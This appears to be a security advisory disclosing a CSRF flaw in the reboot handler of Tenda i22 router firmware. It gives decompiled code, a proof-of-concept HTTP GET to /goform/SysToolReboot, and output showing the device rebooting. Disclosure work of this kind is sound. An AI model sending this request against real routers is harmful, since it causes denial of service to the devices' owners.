

main

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History

0 contributors

45 lines (27 sloc) | 1.36 KB

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Tenda i22 V1.0.0.3(4687) is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolReboot

Description

Tenda Router i22 V1.0.0.3(4687) is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolReboot

Firmware information

- Manufacturer's address: <https://www.tenda.com.cn/>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2747.html>

Affected version

i22

i22 1200M 高密度带机100人吸顶AP [资料下载](#)

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i22升级软件 **V1.0.0.3(4687)**[立即下载](#)

关联产品: i22 更新日期: 2017/11/3

1.此软件只适用于i22且当前软件版本为V1.0.0.X的机器升级,不同型号机器不能使用该软件,升级前请确认版本;
2.下载解压后,请使用有线连接机器升级,升级过程中切勿切断电源,否则会导致机器损坏无法使用!

* 如果链接错误或其他问题,请反馈到 tenda@tenda.com.cn或联系在线客服, 谢谢。

Vulnerability details

This vulnerability lies in the /goform/SysToolReboot page, The details are shown below:

```
4 sub_13F00("SysToolRestoreSet", fromSysToolRestoreSet);  
5 sub_13F00("SysToolReboot", fromSysToolReboot);  
6 sub_13F00("ledControl", formLedControl);
```

```
1 int __fastcall fromSysToolReboot(int a1)  
2 {  
3     sub_25EC4(a1, "/direct_reboot.asp");  
4     return tpi_systool_handle(0);  
5 }
```

It allows remote attackers to reboot the device and cause denial of service via a payload hosted by an attacker-controlled web page.

POC

This POC can result in a Dos.

```
GET /goform/SysToolReboot HTTP/1.1
Host: 192.168.204.133
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bLanguage=cn; user=; password=v1z1qw
Connection: close
```

```
tpi_systool_handle(695): here...
call_reboot_delay(86): reboot...
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
```